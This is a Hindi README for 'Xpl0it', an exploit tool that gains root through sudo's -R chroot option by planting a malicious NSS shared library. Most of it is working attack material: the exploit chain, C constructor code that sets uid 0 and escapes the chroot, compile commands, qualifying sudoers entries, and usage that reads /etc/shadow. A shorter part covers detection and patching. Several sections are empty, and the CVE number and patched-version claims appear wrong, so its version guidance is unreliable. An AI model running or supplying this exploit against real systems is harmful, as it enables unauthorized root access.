Xpl0it — Sudo NSS लाइब्रेरी हाइजैक | v0.0.4

लेखक: 0xb0rn3 | 0xbv1
प्रकार: प्रूफ ऑफ कॉन्सेप्ट (PoC) सुरक्षा अनुसंधान उपकरण
CVE: CVE-2023-42456
तकनीक: sudo -R chroot NSS लाइब्रेरी इंजेक्शन → रूट तक विशेषाधिकार वृद्धि

⚠️ अस्वीकरण

यह उपकरण केवल अधिकृत पैठ परीक्षण (penetration testing) और शैक्षिक सुरक्षा अनुसंधान के लिए विकसित किया गया है। इसे केवल उन्हीं सिस्टमों पर चलाएँ जिनके स्वामी आप हैं या जिनके परीक्षण की स्पष्ट लिखित अनुमति आपके पास है। लेखक किसी भी दुरुपयोग के लिए ज़िम्मेदार नहीं हैं। अनधिकृत उपयोग अवैध है।

🎯 यह उपकरण क्या करता है

Xpl0it एक प्रूफ-ऑफ-कॉन्सेप्ट (PoC) है जो इस विश्वास-मॉडल खामी का फायदा उठाता है कि sudo -R (chroot) फ्लैग का उपयोग करते समय डायनामिक NSS (Name Service Switch) लाइब्रेरी लोडिंग को कैसे संभालता है। कमजोर sudo संस्करणों पर, एक हमलावर जो chroot निर्देशिका को नियंत्रित करता है, उसके अंदर nsswitch.conf को दूषित कर सकता है ताकि sudo को एक दुर्भावनापूर्ण शेयर्ड लाइब्रेरी लोड करने के लिए मजबूर किया जा सके जबकि उसके पास अभी भी उन्नत विशेषाधिकार हों — किसी भी क्रेडेंशियल ड्रॉप से पहले।

सफल रन पर यह उपकरण आपको रूट शेल में डाल देता है या uid=0 gid=0 के साथ आपके द्वारा निर्दिष्ट किसी भी कमांड को निष्पादित करता है।

🔍 CVE-2023-42456 — प्रभावित संस्करण

यह उपकरण केवल CVE-2023-42456 को लक्षित करता है। यह भेद्यता दो रिलीज़ ब्रांचों में मौजूद है, प्रत्येक का अलग फिक्स कमिट है:

महत्वपूर्ण: sudo 1.9.17 और उसके बाद के संस्करण कमजोर नहीं हैं। पिछले टूल्स और लेखों ने गलत तरीके से सीमा को "1.9.14–1.9.17" बताया था। यह उपकरण फॉल्स पॉज़िटिव से बचने के लिए प्रति-ब्रांच संस्करण जाँच करता है।

दायरे से बाहर

निम्नलिखित CVE इस तकनीक के माध्यम से शोषण योग्य नहीं हैं और फॉल्स पॉज़िटिव को रोकने के लिए जानबूझकर बाहर रखे गए हैं:

🔑 महत्वपूर्ण पूर्वापेक्षा — Sudoers में ChrootDir

sudo -R के लिए लक्षित उपयोगकर्ता की sudoers एंट्री में एक स्पष्ट ChrootDir= निर्देश आवश्यक है। अकेला NOPASSWD -R अनुमति नहीं देता।

ChrootDir के बिना, sudo -R फ्लैग को पूरी तरह अस्वीकार कर देता है:

sudo: you are not permitted to use the -R option with bridge

एक sudoers एंट्री जो इस एक्सप्लॉइट की अनुमति देती है, उसे निम्न में से किसी एक जैसा दिखना चाहिए:

# Unrestricted chroot path (ideal attack condition)
targetuser ALL=(root) ChrootDir=* NOPASSWD: ALL

# Path-restricted chroot (tool adapts staging dir automatically)
targetuser ALL=(root) ChrootDir=/var/jail/* NOPASSWD: /bin/bash

# Specific path (tool creates staging inside the allowed path)
targetuser ALL=(root) ChrootDir=/tmp/* NOPASSWD: ALL

Xpl0it कोई भी स्टेजिंग कार्य करने से पहले sudo -l में ChrootDir को पार्स करता है और यदि अनुमति अनुपस्थित है तो स्पष्ट विवरण के साथ तुरंत बाहर निकल जाता है।

🔬 तकनीकी गहन विश्लेषण

एक्सप्लॉइट चेन

sudo -R bridge bridge
      │
      ├─ sudo calls chroot("./bridge")          ← attacker controls this dir
      │
      ├─ sudo must resolve calling user's info
      │  └─ loads /etc/nsswitch.conf from chroot
      │       └─ "passwd: files bridge90"
      │            └─ dynamic linker loads libnss_bridge90.so.2
      │                 └─ __attribute__((constructor)) fires
      │                      └─ setreuid(0,0) + setregid(0,0)
      │                           └─ chroot escape → exec payload
      │
      └─ root shell spawned

चरण-दर-चरण

चरण 1 — रिकोनिसेंस
OS, कर्नेल संस्करण, आर्किटेक्चर, वर्तमान उपयोगकर्ता संदर्भ और सभी मान्य लाइब्रेरी खोज पथ एकत्र करता है। AppArmor/SELinux प्रवर्तन और NoNewPrivs स्थिति का पता लगाता है — ये सभी यदि सक्रिय हैं तो एक्सप्लॉइट को चुपचाप रोक सकते हैं।

चरण 2 — संस्करण फ़िंगरप्रिंट
sudo --version को पार्स करता है और CVE-2023-42456 के लिए दो-ब्रांच प्रभावित सीमा की पैच-स्तरीय सटीकता से जाँच करता है। यदि संस्करण पैच किया हुआ है या सीमा से बाहर है तो स्पष्टीकरण के साथ बाहर निकल जाता है।

चरण 3 — ChrootDir अनुमति जाँच
ChrootDir= निर्देशों के लिए sudo -l को पार्स करता है। यदि अनुपस्थित है, तो तुरंत बाहर निकल जाता है। यदि किसी विशिष्ट पथ तक सीमित है, तो स्टेजिंग के लिए स्वचालित रूप से उसी पथ को लक्षित करता है ताकि sudo -R कॉल स्वीकार कर ले।

चरण 4 — शोषण-पूर्व प्रोब
कोई भी वास्तविक स्टेजिंग कार्य करने से पहले एक अस्थायी न्यूनतम chroot बनाता है और एक हानिरहित sudo -R कॉल करता है। यह पुष्टि करता है कि sudo NSS रिज़ॉल्यूशन तक पहुँचेगा और "not permitted" अस्वीकृतियों को पहले ही पकड़ लेता है।

चरण 5 — पेलोड निर्माण
bridge90.c लिखता है — एक C शेयर्ड लाइब्रेरी जिसमें __attribute__((constructor)) फ़ंक्शन (_nss_bridge90_init) है जो डायनामिक लिंकर के इसे लोड करते ही ट्रिगर हो जाता है:

__attribute__((constructor))
static void _nss_bridge90_init(void) {
    setreuid(0, 0);  setregid(0, 0);
    setuid(0);       setgid(0);

    // chroot escape: mkdir sub-dir → chroot deeper →
    // traverse 40x"../" → re-anchor chroot to real /
    mkdir("._esc", 0700);
    if (chroot("._esc") == 0) {
        // ... 40x "../" chdir ...
        chroot(".");
    }
    chdir("/");
    execl("/bin/bash", "bash", "-c", CMD, NULL);
    execl("/bin/sh",   "sh",   "-c", CMD, NULL);
    _exit(1);
}

चरण 6 — पर्यावरण सेटअप
स्टेजिंग निर्देशिका के अंदर एक विश्वसनीय chroot बनाता है:

• bridge/etc/nsswitch.conf — bridge90 NSS सेवा लोड करने के लिए दूषित किया गया
• bridge/<lib_path>/libnss_bridge90.so.2 — पेलोड, सभी पहचाने गए lib पथों पर तैनात (मल्टीलिब कवरेज)
• bridge/bin/bridge — स्टब एक्ज़ीक्यूटेबल जिसे sudo को प्री-एक्सेक जाँचों से आगे बढ़ने के लिए खोजना आवश्यक है
• bridge/bin/sh, bridge/bin/bash — सही ELF इंटरप्रेटर वाले शेल (readelf -l के माध्यम से पता लगाया गया)
• bridge/etc/ld.so.conf — सभी lib पथों को कवर करता है ताकि ldconfig -r एक मान्य कैश बना सके

चरण 7 — संकलन

gcc -shared -fPIC -nostartfiles -Wl,-soname,libnss_bridge90.so.2 -o libnss_bridge90.so.2 bridge90.c

• -nostartfiles — कोई डिफ़ॉल्ट स्टार्टअप कोड नहीं; कंस्ट्रक्टर सब कुछ संभालता है
• -Wl,-soname — NSS नाम रिज़ॉल्यूशन के लिए सही SONAME
• -Wl,-init का उपयोग नहीं — __attribute__((constructor)) पर्याप्त है; -Wl,-init जोड़ने से डबल-कॉल होती है और यह एक बग है

संकलन के बाद, nm -D यह सत्यापित करता है कि कंस्ट्रक्टर सिंबल डायनामिक एक्सपोर्ट टेबल में मौजूद है।

चरण 8 — निष्पादन
स्टेजिंग निर्देशिका से sudo -R bridge bridge चलाता है। NSS bridge90 को रिज़ॉल्व करता है → हमारी लाइब्रेरी लोड करता है → कंस्ट्रक्टर उन्नत विशेषाधिकारों के साथ ट्रिगर होता है → chroot एस्केप निष्पादित होता है → रूट शेल।

भेद्यता क्यों मौजूद है

Sudo का -R कार्यान्वयन उस chroot निर्देशिका की सामग्री पर भरोसा करता है जिसमें वह प्रवेश करता है। इसे ठीक करने से पहले, sudo यह सत्यापित नहीं करता था कि chroot वातावरण के साथ छेड़छाड़ की गई है या नहीं। चूँकि chroot पथ प्रदान करने वाला उपयोगकर्ता इसकी सामग्री को नियंत्रित करता है — जिसमें nsswitch.conf और इसके द्वारा संदर्भित NSS लाइब्रेरी शामिल हैं — वे लाइब्रेरी लोडिंग को मनमाने कोड की ओर पुनर्निर्देशित कर सकते हैं जो sudo द्वारा कोई भी विशेषाधिकार ड्रॉप करने से पहले निष्पादित हो जाता है।

🛡️ पहचान और शमन

तत्काल सुधार

sudo को पैच करें
1.9.15p2, 1.9.16p2, या किसी भी 1.9.17+ रिलीज़ में अपडेट करें। ये संस्करण उनके अंदर NSS रिज़ॉल्यूशन की अनुमति देने से पहले chroot वातावरण को सत्यापित करते हैं।

# Check your version
sudo --version

# Debian/Ubuntu
apt-get update && apt-get install sudo

# Arch Linux
pacman -Syu sudo

# RHEL/Fedora
dnf update sudo

ChrootDir निर्देशों का ऑडिट करें
/etc/sudoers और /etc/sudoers.d/ की सभी फाइलों की समीक्षा करें। जब तक स्पष्ट रूप से आवश्यक न हो, ChrootDir= एंट्री हटाएँ। वाइल्डकार्ड्स को प्रतिबंधित करें — ChrootDir=* के स्थान पर ChrootDir=/specific/path को प्राथमिकता दें।

grep -r "ChrootDir" /etc/sudoers /etc/sudoers.d/ 2>/dev/null

पहचान

ऑडिट लॉग हस्ताक्षर

# auditd — detect sudo -R invocations (rare in legitimate use)
auditctl -a always,exit -F arch=b64 -S execve \
  -F exe=/usr/bin/sudo -k sudo_chroot_attempt

# journald
journalctl | grep -i "sudo.*-R\|chroot"

संदिग्ध संकेतक

• लॉग में sudo -R कॉल — वैध प्रोडक्शन उपयोग अत्यंत दुर्लभ है
• /tmp के अंतर्गत sudobridge.* से मेल खाते नामों वाली अस्थायी निर्देशिकाएँ
• /tmp या उपयोगकर्ता-लेखन-योग्य निर्देशिकाओं में libnss_*.so.2 फाइलें
• गैर-बिल्ड-सिस्टम उपयोगकर्ता सत्रों से gcc कॉल
• ऐसी प्रक्रियाओं से setreuid/setregid सिस्कॉल जो रूट के स्वामित्व में नहीं हैं

सुरक्षा सुदृढ़ीकरण परतें

📋 उपयोग

बुनियादी उपयोग

# Make executable
chmod +x Xpl0it

# Drop into root shell (default)
./Xpl0it

# Run a specific command as root
./Xpl0it -c "id && cat /etc/shadow"

# Debug mode — verbose output, staging directory preserved on exit
./Xpl0it -d

# Prompt before continuing on version mismatch
./Xpl0it -v

# Combine flags
./Xpl0it -v -d -c "/bin/bash"

विकल्प

पूर्वापेक्षाएँ

लक्षित उपयोगकर्ता की sudoers एंट्री में भी ChrootDir= शामिल होना चाहिए — उपकरण इसकी स्वचालित रूप से जाँच करता है और यदि यह अनुपस्थित है तो स्पष्टीकरण के साथ तुरंत विफल हो जाता है।

🔎 समस्या निवारण

यदि एक्सप्लॉइट विफल हो जाता है, तो स्टेजिंग निर्देशिका को सुरक्षित रखने के लिए -d के साथ चलाएँ और निरीक्षण करें:

सामान्य विफलता कारण:

📚 आगे पढ़ें

• sudo CVE-2023-42456 एडवाइज़री
• sudo सोर्स रिपॉजिटरी
• NSS आर्किटेक्चर — man nsswitch.conf, man 5 nss
• डायनामिक लिंकर की आंतरिक कार्यप्रणाली — man ld.so, man ldconfig
• Chroot एस्केप तकनीकें — POSIX chroot(2) मैन पेज

🤝 योगदान

सटीकता, पोर्टेबिलिटी, या पहचान कवरेज में सुधार करने वाले योगदानों का स्वागत है। कृपया किसी भी जोड़ को जिम्मेदार प्रकटीकरण (responsible disclosure) सिद्धांतों और अधिकृत परीक्षण उपयोग-मामलों के अनुरूप रखें।

Xpl0it केवल अधिकृत सुरक्षा अनुसंधान के लिए है। उन सिस्टमों पर परीक्षण करने से पहले हमेशा स्पष्ट लिखित अनुमति प्राप्त करें जिनके स्वामी आप नहीं हैं।